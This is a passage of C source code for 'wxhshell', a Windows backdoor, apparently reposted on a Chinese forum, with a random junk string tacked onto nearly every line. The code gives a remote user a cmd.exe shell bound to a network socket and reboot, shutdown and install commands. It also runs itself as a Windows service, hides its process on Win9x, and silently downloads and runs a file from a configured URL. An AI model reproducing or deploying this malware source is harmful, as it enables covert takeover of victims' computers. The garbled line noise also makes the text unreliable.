  case '?': { dPdHY&#`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I!0$% ]F  
    break; yQA"T?  
  } dv4r\ R^  
  // 安装 (m =u;L"o  
  case 'i': { $Bwvw)(%  
    if(Install()) ;KjMZ(Iil1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qU x7S(a  
    else EBn:[2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m%$E[cUW!  
    break; .n|3A3:  
    } WG[0$j  
  // 卸载  C>K"ZJ  
  case 'r': { $Ln2O#  
    if(Uninstall()) j"$b%|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?[>BssW  
    else Nm :|C 3_I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kp &XX|  
    break; ?k7/`g U  
    } 1 FIiX  
  // 显示 wxhshell 所在路径 {*]= qSz  
  case 'p': { '?!<I  
    char svExeFile[MAX_PATH]; &MGgO\|6  
    strcpy(svExeFile,"\n\r"); Z`1o#yZ  
      strcat(svExeFile,ExeFile); D<L{Z[  
        send(wsh,svExeFile,strlen(svExeFile),0); ^&w'`-ra  
    break; &B5 Rzz-'  
    } CYic_rF$  
  // 重启 \?mU$,v oI  
  case 'b': { NNpa69U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G?/8&%8  
    if(Boot(REBOOT)) /7HIL?r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fO}1(%}d  
    else { W,oV$ s^  
    closesocket(wsh); +iDz+3v(  
    ExitThread(0); 8#JyK+NU  
    } `9"jHw`D  
    break; M+&eh*:z:  
    } b8-^wJH!  
  // 关机 1nM?>j%k  
  case 'd': { j~j V`>A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ne~#{q  
    if(Boot(SHUTDOWN)) GH)+yD[o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E":":AC#  
    else { k}a!lI:  
    closesocket(wsh); ?B31 t9  
    ExitThread(0); YwTtI ID%  
    } $HnD|_*  
    break; lV*&^Q8.  
    } _f2iz4  
  // 获取shell 1~iBzPU2  
  case 's': { /SM#hwFxJ&  
    CmdShell(wsh); &7y1KwfXn  
    closesocket(wsh); WRyv >Y  
    ExitThread(0); `fE:5y  
    break; ` ];[T=  
  } 9(Xch2tpO!  
  // 退出 Fl(ZKpSZU  
  case 'x': { 5TW<1'u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $G([#N<  
    CloseIt(wsh); X/D9%[{&  
    break; Dg4^ C  
    } bX1! fa  
  // 离开 #[ rFep  
  case 'q': { u6&Ixi/s'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j:<T<8 .o  
    closesocket(wsh); sU3V)7"  
    WSACleanup(); Yy:sZJ  
    exit(1); = |zyi|  
    break; us *l+Jw,m  
        } s5|)4Z ac  
  } 8{^GC(W{]  
  } /u1zRw  
GnHf9 JrR  
  // 提示信息 W${sD|d-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BHBR_7  
} n6+M qN  
  } 8pKPbi;(2  
NNV.x7  
  return; 24k}~"We  
} p+1B6j  
H0Xda.Y(  
// shell模块句柄 pNme jz:  
int CmdShell(SOCKET sock) E$fy*enON  
{ {.'g!{SHp  
STARTUPINFO si; E*]L]vR  
ZeroMemory(&si,sizeof(si)); :EAfD(D{)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BiAcjN:Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  ]@ 0V  
PROCESS_INFORMATION ProcessInfo; xGQ:7g+qu  
char cmdline[]="cmd"; C 5!6k1TcE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3]82gZG G  
  return 0; q:eAL'OkM  
} )u:8Pv  
6q7Y`%j  
// 自身启动模式 iFT3fP'> 5  
int StartFromService(void) 4SO{cs t  
{ : .eS|  
typedef struct *J- jr8&  
{ N^j''siB  
  DWORD ExitStatus; z@LP9+?dE  
  DWORD PebBaseAddress; #.K&]OV/88  
  DWORD AffinityMask; PltPIu)F  
  DWORD BasePriority; uB9+E%jOdQ  
  ULONG UniqueProcessId; G!Q)?N    
  ULONG InheritedFromUniqueProcessId; {i?K~| h  
}   PROCESS_BASIC_INFORMATION; a.Vs >1  
ITOGD  
PROCNTQSIP NtQueryInformationProcess; ?7dDQI7^(  
RLr-xg$K-t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dz DssAHy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .j,&/y&  
>@\-m  
  HANDLE             hProcess;  5Ww\h  
  PROCESS_BASIC_INFORMATION pbi; 7}?z=LHb3  
s7gf7 E#Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LD"}$vfs  
  if(NULL == hInst ) return 0; g[Y$SgJ  
!SNtJi$;v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p_N=V. w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oz r+6z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?Io2lFvI@Y  
L 3Iz]D3s  
  if (!NtQueryInformationProcess) return 0; {=Y&q~:8v  
CF4y$aC#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7m$/.\5  
  if(!hProcess) return 0; #@`^  .  
aesFv)5DK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BF#e=p  
|8rJqtf +&  
  CloseHandle(hProcess); Y`RfE  
F:U_gW?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gj0NN:  
if(hProcess==NULL) return 0; 1 1'Tt!  
 6<GWDO  
HMODULE hMod; a_x6 v*  
char procName[255]; 9dv~WtH>5  
unsigned long cbNeeded; 247>+:7z  
mI18A#[ 3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8gdOQ=a  
G 3x1w/L  
  CloseHandle(hProcess); k#M W>  
UJ&,9}L8  
if(strstr(procName,"services")) return 1; // 以服务启动 IVKE dwA  
#,pLVt<  
  return 0; // 注册表启动  )BB a  
} C <)&qx3  
Ved:w^ ,  
// 主模块 F!<x;h(  
int StartWxhshell(LPSTR lpCmdLine) %;gWl1&5  
{ Lr&tpB<  
  SOCKET wsl; ]y$C6iUY*  
BOOL val=TRUE;  -"H9W:  
  int port=0; *l} 0x@  
  struct sockaddr_in door; E{B<}n|}&  
u?i1n=Ne  
  if(wscfg.ws_autoins) Install(); U9s y]7  
S] a$w5ZP  
port=atoi(lpCmdLine); &!Vp'l\9  
r~t7Z+PXF  
if(port<=0) port=wscfg.ws_port; W_EN4p~J  
)$i3j 1[;  
  WSADATA data; }8e %s;C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lX7^LB  
&3. 8i%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :'=C/AL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  0]HI c  
  door.sin_family = AF_INET; Wov_jVdN\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +d96Z^KUhv  
  door.sin_port = htons(port); cm<3'#~Q?  
5{[0Clb)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dWSH\wm+  
closesocket(wsl); .BvV[`P  
return 1; IU}`5+:m  
} :|TBsd|/x  
$+j )  
  if(listen(wsl,2) == INVALID_SOCKET) { a{=~#u8  
closesocket(wsl); 6]*qx5m`<l  
return 1; ^S @b*  
} |Ca n  
  Wxhshell(wsl); j3U8@tuG  
  WSACleanup(); |V5H(2/nk  
FS0SGBo  
return 0; V7<} ;Lzm  
7y&`H  
} %,BJkNV  
t/ w>t! q  
// 以NT服务方式启动 :#vrNg(M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;8UHPDnst  
{ jw)t"S/E  
DWORD   status = 0; #Bjnz$KB  
  DWORD   specificError = 0xfffffff; Qpc>5p![3  
D]REZuHOI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MtljI6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o/#e y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j~0hAKHG  
  serviceStatus.dwWin32ExitCode     = 0; z#b6 aP  
  serviceStatus.dwServiceSpecificExitCode = 0; .'M]cN~  
  serviceStatus.dwCheckPoint       = 0; a>6p])Wh  
  serviceStatus.dwWaitHint       = 0; \uH;ng|m  
Rh|&{Tf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e"Z~%,^A  
  if (hServiceStatusHandle==0) return; T^ -RP  
x.I-z@\E  
status = GetLastError(); cD]t%`*  
  if (status!=NO_ERROR) P=.W.oS  
{ A'T! og|5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <\u%ZB  
    serviceStatus.dwCheckPoint       = 0; QQcJUOxT9  
    serviceStatus.dwWaitHint       = 0; wS GUNP9  
    serviceStatus.dwWin32ExitCode     = status; vnE,}(M  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3mWN?fC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SrxX-Hir  
    return; 9S}PCAA;  
  } ` $}[np |  
'"6VfF)*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^B<jMt  
  serviceStatus.dwCheckPoint       = 0; }0 Z3Lrv  
  serviceStatus.dwWaitHint       = 0; ugz1R+f_4{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vhKD_}}aP  
} 2B|3`trY4x  
#*fB~Os:  
// 处理NT服务事件,比如:启动、停止 iPao54Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p-Z5{by  
{ umciP  
switch(fdwControl) +-ue={ '  
{ TAP/gN'  
case SERVICE_CONTROL_STOP: Rh39x-`Z  
  serviceStatus.dwWin32ExitCode = 0; aX! J0&3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ty>`r n  
  serviceStatus.dwCheckPoint   = 0; Wjp<(aY[  
  serviceStatus.dwWaitHint     = 0; {az8*MR=X  
  { ~dv C$   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IaW8  
  } ?AR6+`0  
  return; 4&tY5m>  
case SERVICE_CONTROL_PAUSE: )<+Z,6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ) E5ax~  
  break; Xa36O5$4]9  
case SERVICE_CONTROL_CONTINUE: j&F&wRD%r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; umc!KOkL  
  break; 4JucNGv  
case SERVICE_CONTROL_INTERROGATE: /%~`B[4F  
  break; FYzl-7!Y  
}; % nR:Rc!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eb7`R81G  
} <I7UyCAF  
R6ywc "xE  
// 标准应用程序主函数 M C>{I3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zscmc;G  
{ %"o4IYV#  
e_Y>[/Om  
// 获取操作系统版本 Gz`Zp "i%0  
OsIsNt=GetOsVer(); c#_%|gg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $OmtN"  
^#;2 Pd>  
  // 从命令行安装  7p{lDQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); .S[5CO^  
kj>XKZL10  
  // 下载执行文件 ?P}7AF A(W  
if(wscfg.ws_downexe) { Q16RDQ*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lgU7jn  
  WinExec(wscfg.ws_filenam,SW_HIDE); H}A67J9x  
} Oa{M9d,l  
?k/Uw'J4u/  
if(!OsIsNt) { j5AW}   
// 如果时win9x,隐藏进程并且设置为注册表启动 9+pnpaZB0  
HideProc(); B<i1UJ5  
StartWxhshell(lpCmdLine); =r`>tWs  
} X)\t=><<  
else {jbOcx$t  
  if(StartFromService()) Fq~de%y  
  // 以服务方式启动 {2-w<t  
  StartServiceCtrlDispatcher(DispatchTable); $H?v  
else *T 6<'a  
  // 普通方式启动 vAX %i(4  
  StartWxhshell(lpCmdLine); @A g=2\9  
/|Zk$q.\  
return 0; H`kfI"u8  
}
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只看该作者 1 发表于: 2006-10-10
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